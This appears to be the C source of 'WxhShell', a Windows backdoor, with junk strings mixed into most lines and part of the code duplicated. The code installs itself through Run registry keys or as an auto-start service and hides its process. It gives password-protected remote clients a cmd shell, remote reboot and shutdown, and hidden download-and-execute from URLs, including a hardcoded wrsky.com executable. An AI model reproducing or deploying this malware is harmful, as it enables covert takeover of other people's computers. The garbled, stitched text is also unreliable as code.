static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Uzd\#edxJ SN|:{Am HANDLE hProcess; v"smmQZik PROCESS_BASIC_INFORMATION pbi; #k<j`0kiq ,(CIcDJ2U_ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0~j0x# if(NULL == hInst ) return 0; V$<5` C9FQo7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Dy;'BtT g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k-\RdX)E NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }KwL_\>&f mw&)j R$& if (!NtQueryInformationProcess) return 0; 421ol tsu Mt hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DU-&bm if(!hProcess) return 0;
\py
\rI fP:g}Z if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )%&~CW+ xA2"i2k9 CloseHandle(hProcess); ,_2ZKO/k$ ;-X5# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + %07J6 if(hProcess==NULL) return 0; ln6Hr^@5 `>cBR,)r HMODULE hMod; -:o4|&g<* char procName[255]; P ||:?3IH unsigned long cbNeeded; 2hI|]p *_7%n-k if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V0x;*)\PYm 8z
h{?0 CloseHandle(hProcess); rik0F $Y5m"wySZ if(strstr(procName,"services")) return 1; // 以服务启动 d%: /^<Uy3F[p return 0; // 注册表启动 [q{[Avqf } UMbM3m=\ L) ]|\| // 主模块 mxJ& IV int StartWxhshell(LPSTR lpCmdLine) f?A1=lm~ { |[}!E/7>b SOCKET wsl; yk|<P\ BOOL val=TRUE; fSFb)+ int port=0; <wZ2S3RNA struct sockaddr_in door; N3J;_=<4 |B;tv#mKD if(wscfg.ws_autoins) Install(); :v!e8kM\x ]V K%6PQ0 port=atoi(lpCmdLine); .`3O4]N[ e1j3X\ \ if(port<=0) port=wscfg.ws_port; u
6(O; yy%'9E ldc WSADATA data; AsW!GdIN if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hc;8Vsa RrGFGn{ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; MIJ^n(-G setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vP{22P door.sin_family = AF_INET; 58@YWvAk door.sin_addr.s_addr = inet_addr("127.0.0.1"); EBX+fzjQo door.sin_port = htons(port); >qBQfz:U> hY@rt,! 8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j:;[Y `2 closesocket(wsl); :"9P {xe^ return 1; $R2iSu{kO } W5^m[,GU' w+NdEE4H9z if(listen(wsl,2) == INVALID_SOCKET) { MM*B.y~TxZ closesocket(wsl); .A. VOf_ return 1; "[rChso } 5QR=$?K Wxhshell(wsl); U2u\Q1 WSACleanup(); ^"e|)4_5\ Is $I;` return 0; dC7YVs_,# $-}a<UFE; } .m]"lH* %&RF;qa2xu // 以NT服务方式启动 `H.~#$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,X05&'@Z { '
R!pc DWORD status = 0; dp3>G2Yq DWORD specificError = 0xfffffff; W/3,vf1 +M"Fv9 serviceStatus.dwServiceType = SERVICE_WIN32; G'5p /: serviceStatus.dwCurrentState = SERVICE_START_PENDING; gxIGL-1M serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :4f>S)m serviceStatus.dwWin32ExitCode = 0; GEdWpYKS-` serviceStatus.dwServiceSpecificExitCode = 0; y\Z$8'E5W serviceStatus.dwCheckPoint = 0; 5*ip}wA serviceStatus.dwWaitHint = 0; G>/Gw90E -.>b7ui hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nm.H
if (hServiceStatusHandle==0) return; K\7\ p=7{ status = GetLastError(); QU]&q`GE if (status!=NO_ERROR) fZqqU|tq { 6fozc2h@x% serviceStatus.dwCurrentState = SERVICE_STOPPED; }Ss]/_t serviceStatus.dwCheckPoint = 0; ;wi}6rF%[i serviceStatus.dwWaitHint = 0; zq=X;}qYj serviceStatus.dwWin32ExitCode = status; ZH:-.2*cj serviceStatus.dwServiceSpecificExitCode = specificError; mUmU_L u8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); *v}8n95*2 return; x +=zG4Hm } )AxgKBW F%t_9S,)O serviceStatus.dwCurrentState = SERVICE_RUNNING; ADTx _tE serviceStatus.dwCheckPoint = 0; ] rP^ serviceStatus.dwWaitHint = 0; N:j,9p0, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HH-A\#6J } .$r=:k_d ! z^%$;p // 处理NT服务事件,比如:启动、停止 vdn`PS'# VOID WINAPI NTServiceHandler(DWORD fdwControl) qgT~yDm { CEwMPPYnD switch(fdwControl) FUVoKX!# {
|a3v!va case SERVICE_CONTROL_STOP: 3C,G~)=
x serviceStatus.dwWin32ExitCode = 0; -|ho
8alF serviceStatus.dwCurrentState = SERVICE_STOPPED; cmLGMlFT serviceStatus.dwCheckPoint = 0; raWs6b4Q serviceStatus.dwWaitHint = 0; ^PnXnH? { r\OunGUP SetServiceStatus(hServiceStatusHandle, &serviceStatus); WIe7>wkC } e;+6U"Jx* return; n9
LTrhLqp case SERVICE_CONTROL_PAUSE: x)Y?kVw21" serviceStatus.dwCurrentState = SERVICE_PAUSED; Wchu-] break; toq/G,N Q case SERVICE_CONTROL_CONTINUE: @H{QHi serviceStatus.dwCurrentState = SERVICE_RUNNING; NUlp4i~Q break; D5o[z:V7" case SERVICE_CONTROL_INTERROGATE: ewo]-BQS break; i++a^f }; $pV:)N4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); YP^=b} } JHxy_<p/ /s@t-gTi // 标准应用程序主函数 'jw?XtG int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rBOxI { #GDnV/0) m#}41< // 获取操作系统版本 ~AVn$];{ OsIsNt=GetOsVer(); MI:
rH GetModuleFileName(NULL,ExeFile,MAX_PATH); <G9HVMiP .!fhy[%o:D // 从命令行安装 :y/1Jf'2f if(strpbrk(lpCmdLine,"iI")) Install(); 03ol6y )C WpPm|h // 下载执行文件 4LEWOWF} if(wscfg.ws_downexe) { r8.`W\SKX if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ($Cy-p WinExec(wscfg.ws_filenam,SW_HIDE); p<eu0B_V } `!`g&:Y }V:B,: if(!OsIsNt) { 3 291"0 // 如果时win9x,隐藏进程并且设置为注册表启动 F9ys.Bc HideProc(); Frn<~ StartWxhshell(lpCmdLine); z\d{A7 } ^tMb"WO else \dm5Em/ if(StartFromService()) _d|CO // 以服务方式启动 R[C+?qux StartServiceCtrlDispatcher(DispatchTable); Kyf,<zF else e=>:(^CS // 普通方式启动 1@dB*Jt StartWxhshell(lpCmdLine); #x?Ku\ts mY1I{'. return 0; x7<2K( } .wU0F .tdaj6x YiO3.+H i/vo =========================================== 2
c
2lK ,Y:ET1: ty"|yA r}**^"mFy Qe[ejj1o: H*m3i;"4p\ " B\73Vf kB)u@`</mV #include <stdio.h> R@X65o
#include <string.h> R)@2={fd} #include <windows.h> :F |ll? #include <winsock2.h> xU1_L*tu ' #include <winsvc.h> |rgp(;iO #include <urlmon.h> %,1xOl4l "t.Jv%0= #pragma comment (lib, "Ws2_32.lib") !K8Kw
W|X #pragma comment (lib, "urlmon.lib") wD\viuq0 g"Tb\ #define MAX_USER 100 // 最大客户端连接数 yTxrbE #define BUF_SOCK 200 // sock buffer Vk tc #define KEY_BUFF 255 // 输入 buffer )+ V)]dS@% o=nF .y #define REBOOT 0 // 重启 5K:'VX #define SHUTDOWN 1 // 关机 .E:3I!dH7 gW5yLb_Vz$ #define DEF_PORT 5000 // 监听端口 u |mTF>L VLfc6:Yg #define REG_LEN 16 // 注册表键长度 t] CA!i` #define SVC_LEN 80 // NT服务名长度 `<Q[$z kl~)<,/@ // 从dll定义API ? K ,d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;!+-fn4C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?u?Nhf
%b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3'7] jj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 03/mB2|TF( DFXHD,o // wxhshell配置信息 ELN1F0TneH struct WSCFG { )n&6= Li int ws_port; // 监听端口 M!/!*,~ char ws_passstr[REG_LEN]; // 口令 2dyS_2u int ws_autoins; // 安装标记, 1=yes 0=no cBD#F$K2 char ws_regname[REG_LEN]; // 注册表键名 =h@t#-Z" char ws_svcname[REG_LEN]; // 服务名 ]#\De73K char ws_svcdisp[SVC_LEN]; // 服务显示名 :5X^t char ws_svcdesc[SVC_LEN]; // 服务描述信息 *x & char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'ln
o# int ws_downexe; // 下载执行标记, 1=yes 0=no z:ZXdB)L) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5SMV3~*P char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YNB7`: j "s7P% }; j8G$ , ~v lu?:1V- // default Wxhshell configuration k%TBpG:T struct WSCFG wscfg={DEF_PORT, bZ>dr{%%e "xuhuanlingzhe", _P`
^B 1, T)I\?hqTB "Wxhshell", 2lCgUe)N "Wxhshell", b/w5K2 "WxhShell Service", zIA)se
Js "Wrsky Windows CmdShell Service", 9/`3=r@ "Please Input Your Password: ", 9SBTeJ$RZ 1, K(uz`(5 "http://www.wrsky.com/wxhshell.exe", X<D fzd oI "Wxhshell.exe" 8wrO64_NO }; Bp_8PjQ rE Me=>^
// 消息定义模块 OQIr" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zq~Rkx char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Nw)zS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1=h5Z3/fj char *msg_ws_ext="\n\rExit."; iR!]&Oh char *msg_ws_end="\n\rQuit."; c{IL"B6> char *msg_ws_boot="\n\rReboot..."; zm{`+boH< char *msg_ws_poff="\n\rShutdown..."; =axuL P)) char *msg_ws_down="\n\rSave to "; t#VX#dJ 5WA:gy gB& char *msg_ws_err="\n\rErr!"; /9A6"Z char *msg_ws_ok="\n\rOK!"; 5\EnD,y R,s}<N$ char ExeFile[MAX_PATH]; r1Hh @sxn int nUser = 0; lWn}afI HANDLE handles[MAX_USER]; e"%uOuIYX int OsIsNt; sPMICIv| '5b0 K1$" SERVICE_STATUS serviceStatus; EOZ 6F-': SERVICE_STATUS_HANDLE hServiceStatusHandle; ~Zn|( AmZW=n2^ // 函数声明 }[=)sb_ int Install(void); ULhXyItL int Uninstall(void); BIS ., int DownloadFile(char *sURL, SOCKET wsh); Fi'ZId int Boot(int flag); n2~WUK void HideProc(void); rvU^W+d int GetOsVer(void); 2rW9ja int Wxhshell(SOCKET wsl); w59q* 2 void TalkWithClient(void *cs); +\*b?x int CmdShell(SOCKET sock); Eyz.^)r int StartFromService(void); )4h|7^6ji int StartWxhshell(LPSTR lpCmdLine); !Eg2#a ? tDavp:M1v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %gQUog VOID WINAPI NTServiceHandler( DWORD fdwControl ); NJSbS<O "UreV // 数据结构和表定义 +p`BoF9~ SERVICE_TABLE_ENTRY DispatchTable[] = +V(^"Z~ { k~Q
5Cs {wscfg.ws_svcname, NTServiceMain}, 2
6DX4 {NULL, NULL} rT=C/SKP }; Caz5q|Oo +0)M1!gK // 自我安装 x[$KZGK+GL int Install(void) 7_P33l8y
{ z]SEPYq: char svExeFile[MAX_PATH]; R?;mu^B HKEY key; $)$r strcpy(svExeFile,ExeFile); {* :^K\- .p.(
\5Fo // 如果是win9x系统,修改注册表设为自启动 XI|k,Ko< if(!OsIsNt) { IU5T5p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S~ Z<-@S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^>F[aT RegCloseKey(key); =PQ4S2Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UGd\`*Cj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LGW:+c RegCloseKey(key); 7G^Q2w return 0; [|YvVA } Sgv_YoD?- } ^"p. 3Hy } 9od*N$ else { ?>U=bA 8AFc=Wx // 如果是NT以上系统,安装为系统服务 343d`FRa} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e ><0crb if (schSCManager!=0) ^+CWo@. { >qOG^{&x SC_HANDLE schService = CreateService ~##FW|N) ( qEXN}Pq< schSCManager, |hw.nY]J wscfg.ws_svcname, J'sa{/
# wscfg.ws_svcdisp, #+p- SERVICE_ALL_ACCESS, P`{$7ST'Hh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 14 ,t SERVICE_AUTO_START, U;WwEta ] SERVICE_ERROR_NORMAL, lq "X_M$ svExeFile, ~v;+-*t NULL, ~tt\^:\3~S NULL, .4R.$`z4 NULL, lya},_WCq NULL, p&x!m}! NULL /+JnEFf ); Li}5aK if (schService!=0) hHmm(~5gR { R'`'q1=R CloseServiceHandle(schService); {pH# zs4Y CloseServiceHandle(schSCManager); |u?VlRt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1s@QsZ3 strcat(svExeFile,wscfg.ws_svcname); 2/r8%Sq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,3 /o7 ' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Sx QA*}N RegCloseKey(key); RG'76?z return 0; (m,H 5 } [
5}Q } m{=Q88k!@. CloseServiceHandle(schSCManager); oRSA&hSs } ZHN'j ]? } AK,'KO%{= ~?Ky{jah:^ return 1; cjPXrDl{\ } z,ERq,g+L YmaS,Q- // 自我卸载 Nz.X$zUmY int Uninstall(void) Rr%x;- { m!Z<\2OP HKEY key; O 1z0dHa 4>0q0}J=5 if(!OsIsNt) { |xcI~ X7Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { El5} f4sl RegDeleteValue(key,wscfg.ws_regname); K2yNIq_ RegCloseKey(key); cbyzZ#WRb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p9?kJKN RegDeleteValue(key,wscfg.ws_regname); @9KW ]7 RegCloseKey(key); RYEZ'< return 0; I:iMRvp } O7VEyQqf5 } =n"k gn } |EX=Rj* else { }q@#M8 b i,*m(C@F} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]$Z:^"JS3 if (schSCManager!=0) s2G9}i{ { N$]er'` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \\<=J[R.M if (schService!=0) &Q~W{. { D?1fY!C:r if(DeleteService(schService)!=0) { ft(o-f7, CloseServiceHandle(schService); +m%%Bz> CloseServiceHandle(schSCManager); Icrnu}pl_ return 0; N7J?S~x } 8^ f: -5 CloseServiceHandle(schService); {:uv}4 Z } BNNM$.ZIQ CloseServiceHandle(schSCManager); rnj$u-8 } nPXP9wmh4x } A,DBq9Z+4R D1xGUz2r return 1; ]qv0Y~+`-K } b^d{$eoH?| 4G(7V: // 从指定url下载文件 K'r;#I|"J int DownloadFile(char *sURL, SOCKET wsh) l(sVnhL6h { !="q"X/* HRESULT hr; v5S9h[gT char seps[]= "/"; YkWHI(p char *token; h7"U1'b char *file; $q@d.Z>; char myURL[MAX_PATH]; 7amVnR1f char myFILE[MAX_PATH]; |cma7q}p OY`B{jV- strcpy(myURL,sURL); KN|<yF token=strtok(myURL,seps); }<A.zwB<i while(token!=NULL) EYq?NL=' { [UzD3VPg file=token; ~#*C,4m token=strtok(NULL,seps); *pJGp:{6V? } ^)gyKl:E' 8mreHa GetCurrentDirectory(MAX_PATH,myFILE); o2ggHZe/=@ strcat(myFILE, "\\"); Bxm,?=h strcat(myFILE, file); WMa0L&C~v send(wsh,myFILE,strlen(myFILE),0); MMFwT(l<1 send(wsh,"...",3,0); =WY'n
l' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1z-.e$&z if(hr==S_OK) o?Hfxp0} return 0; lWId
0eNS else eA4:]A" return 1; +Ua|0>? aDNB~CwZZ } ls
5iE uPz+*4+ // 系统电源模块 U8Y%rFh1 int Boot(int flag) Q[j| 2U { !RmVb}m HANDLE hToken; j HHWq>=d TOKEN_PRIVILEGES tkp; ]u_j6y! rY_~(?XS if(OsIsNt) { 9Lb96K?=> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nTqU~'d' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CjQO5 tkp.PrivilegeCount = 1; [b3!H{b# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QF"7.~~2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9b+jT{Tg if(flag==REBOOT) { ]^~}/@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2nB99L{6 return 0; 1(?4*v@B } .zO2g8(VR else { c1'@_Is if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X,|8Wpi= return 0; FXof9fa_B } YJ _eE } C$y6^/7) else { YvU%OO-+, if(flag==REBOOT) { cJ96{+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p`Pa;=L return 0; ~$HB}/ } Y_'ERqQ else { n N<N~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \cIN]=# return 0; gpV4qDXV } EjR(AqZY } Zo3!Hs ZA ;l@94)@0 return 1; uks75W!}U } h:%,>I%{ d/7fJ8y8 // win9x进程隐藏模块 MgJ6{xzz void HideProc(void) 7=l~fKu { \]tBwa @k?vbq HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QHk\Z if ( hKernel != NULL ) Dl;hOHvKk { 7AqgX0) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p/h\QG1
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y
[`+7w FreeLibrary(hKernel); ?*fa5=ql } Ww]$zd-bo ;'"'|} xn return; vhrf 89-q } <>] DcA uk):z$x // 获取操作系统版本 HbKE;N int GetOsVer(void) +MoUh'/u { hhTtxC<: OSVERSIONINFO winfo; E=s h^Q(A winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TjW!-s?S GetVersionEx(&winfo); `fBQ?[05. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5PeS/%uT@ return 1; ;,4*uU'vq else }%< ?] return 0; Dp'urf\*$ } uC'-: t# Ln&pe(c // 客户端句柄模块 ;sB=f int Wxhshell(SOCKET wsl) >ED;_L*_o { 5
D|#l*V SOCKET wsh; DSrU7# struct sockaddr_in client; Q
dj(D\. DWORD myID; 7H6Ts8^S 0j$\k|xFXZ while(nUser<MAX_USER) gX}'b\zxC { e=sc$1|4= int nSize=sizeof(client); mxv?PP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2f,8Jnia if(wsh==INVALID_SOCKET) return 1; ='7m$,{(Q[ -$d?e%}# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h,{m{Xh if(handles[nUser]==0) RHF"$6EAFG closesocket(wsh); uJ% <+I else 7>Scf nUser++; W{6QvQD8 } z74JyY WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PUdv1__C BIx*t9wA return 0; t>bzo6cj } %_!/4^smE W5|{A])N // 关闭 socket %BI8m|6 void CloseIt(SOCKET wsh) P3oYk_oW { &[ })FI closesocket(wsh); D;,p?]mgO~ nUser--; `Skvqo(5: ExitThread(0); )PYPlSQ*V } y,D9O/VP U2VEFm6 // 客户端请求句柄 (m/:B=K void TalkWithClient(void *cs) JX59n%$@ { K9<8FSn a5a
;Fp SOCKET wsh=(SOCKET)cs; r:QLU]
char pwd[SVC_LEN]; ;z:Rj}l char cmd[KEY_BUFF]; v{" nyW6# char chr[1]; SoIK<*J int i,j; $fb%?n{ jFSR+mP! while (nUser < MAX_USER) { ]cRvdUGv zEQ]5>mG if(wscfg.ws_passstr) { ?^&ih:" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M\1CDU+*Ns //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g\aO:: //ZeroMemory(pwd,KEY_BUFF); +ai3 i=0; N.|F8b]v while(i<SVC_LEN) { T8 FW(Gw# _}{KS, f]0 // 设置超时 l6'KIg fd_set FdRead; 1mFH7A($ struct timeval TimeOut; '(]Wtx%9" FD_ZERO(&FdRead); Wv4$Lgr FD_SET(wsh,&FdRead); (:iMs)
iO{ TimeOut.tv_sec=8; c &c TimeOut.tv_usec=0; B:zx 9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @nH3nn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w-).HPe jFQ y[k-B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !'$*Z( pwd=chr[0]; frcAXh9 if(chr[0]==0xd || chr[0]==0xa) { bJ2-lU% ;2 pwd=0; ]OpGD5jZ break; KloX.y)q } O"\4[HE^ i++; ?q!4 REM } \`k=9{R. qnP4wRpr // 如果是非法用户,关闭 socket MWwqon| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X}#vt?mu } G4
7^xR w,1N ;R& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9SC1A -nF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d V%o:@Z (?Ku-k while(1) { /JNG}* AD ZeroMemory(cmd,KEY_BUFF); J.iz%8 N XB8u6 // 自动支持客户端 telnet标准 4~
x>] j=0; DgEdV4@p while(j<KEY_BUFF) { u>fs
yn9c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sct cmd[j]=chr[0]; WsTIdr36x if(chr[0]==0xa || chr[0]==0xd) { O_ #++G cmd[j]=0; v&:[?<6- break; 7(/yyZQnZ } aZf/WiR2 j++; (j>`+F5f } ET[5`z SU%O \4Ty // 下载文件 .{gDw if(strstr(cmd,"http://")) { m{>1#1;$t send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z|K HF" if(DownloadFile(cmd,wsh)) |QS|\8g{0V send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1c,#`\Iikd else gwB,*.z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MJX
ny4n } zFOtOz`9H else { :{<|,3oNdR Q
&/5B switch(cmd[0]) { c@>ztQU* KXMf2)pa // 帮助 W~H`{x%Av> case '?': { o?]Q&,tO send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @<DRFP break; &zYQH@ } +1#;s!e // 安装 K^x{rn.Zf case 'i': { Bc!<!
if(Install()) cLyf[z)W send(wsh,msg_ws_err,strlen(msg_ws_err),0); %lbvK^ else @
2hGkJ- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B}qG-}(V break; jJ"(O-<)D } rk=/iD // 卸载 !@!603Gy case 'r': { h]@'M1D% if(Uninstall()) .XpuD,^;@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xg.Lo2s else W.
d',4) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [fCnq break; mBIksts5h } P^o@x,V!& // 显示 wxhshell 所在路径 U/FysN_N! case 'p': { 54{E&QvL8o char svExeFile[MAX_PATH]; UR'v;V&Cb\ strcpy(svExeFile,"\n\r"); koB'Zp/FaY strcat(svExeFile,ExeFile); 9T;>gm send(wsh,svExeFile,strlen(svExeFile),0); dLqBu~* break; <Hv/1:k} } Jd `Qa+ // 重启 RH,x);J| case 'b': { -[!t=qi send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CeU=A9 if(Boot(REBOOT)) v$\<L| send(wsh,msg_ws_err,strlen(msg_ws_err),0); m p_7$#{l else { .Z]hS7t closesocket(wsh); ;u`8pF!_eE ExitThread(0); yIiVhI?X } 62;xK-U break; nK< v } u ^#UsOt+ // 关机 %i7U+v(d case 'd': { #n&/v'!\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4SUzR\ if(Boot(SHUTDOWN)) T5`ML'Dej send(wsh,msg_ws_err,strlen(msg_ws_err),0); UZsvYy? else { }r18Y6 closesocket(wsh); `JV(ae0 ExitThread(0); NPv.7, } "+2Cs break; ?9?A)?O<j~ } 7oZ Pb // 获取shell /7#MJH5b6 case 's': { :}36;n<[' CmdShell(wsh); XR VZU~ZV closesocket(wsh); ?(zCv9Pg ExitThread(0); AP z"k?D0 break; 1tO96t^d% } v?8i;[ // 退出 6wT ])84 case 'x': { %J'/ cmR& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;k0Jl0[} CloseIt(wsh); .dYv.[?hL break; zT}vaU6 } h#Rza-?"\ // 离开 ;d>n2 case 'q': { iN[6}V6Sm send(wsh,msg_ws_end,strlen(msg_ws_end),0); K:9AP{+ closesocket(wsh); bGB$a0 WSACleanup(); >aVtYp B exit(1); k)z>9z%D break; ;jx[ + } %yc-D]P/ } ?=)lbSu
K } %Un wh1VG |3FGMg% // 提示信息 4n.JRR&; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kt qOA[6 } P3!@}!r8 } "N'W~XPG Q"NZE return; f.j<VKF} } 3S#p4{3 xC5Pv"> // shell模块句柄 (!b)<V* int CmdShell(SOCKET sock) [< g9jX5 { *[i49X&rd STARTUPINFO si; 5"G-r._ ZeroMemory(&si,sizeof(si)); e[Vk+Te7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
{d#sZT si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hl0X,G+@ PROCESS_INFORMATION ProcessInfo; R<I#.
KD char cmdline[]="cmd"; ]5@n`;. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OpazWcMoo return 0; +VQD' } ]iW:YNvXA QoUdTIIL // 自身启动模式 ^B%ki int StartFromService(void) .*`]x { @J>JZ7m]\ typedef struct <7)sS<I { H}_R `S DWORD ExitStatus; IDf\!QGx DWORD PebBaseAddress; l -nH DWORD AffinityMask; %${$P+a`D DWORD BasePriority; /Q)I5sL@E ULONG UniqueProcessId; o+8H:7,o' ULONG InheritedFromUniqueProcessId; 4P5^.\. } PROCESS_BASIC_INFORMATION; =rZ'!Pa PPFt p3C PROCNTQSIP NtQueryInformationProcess; !#%>,X#+ yK& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &N= vs static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QEut@L CvZ\Z472.j HANDLE hProcess; N3lz-vP- PROCESS_BASIC_INFORMATION pbi; o(DG 3qk WB_BEh[>j HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x8C\&ivn if(NULL == hInst ) return 0; LibQlNW\ dg~lz8 0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WC=d@d)M g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ex`T9j.=B NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~uq010lMno F
=*4]O if (!NtQueryInformationProcess) return 0; }%PK %/ zI o_b3G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |ssl0/nk if(!hProcess) return 0; >r\GB#\5 #^]vhnbN if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lw~
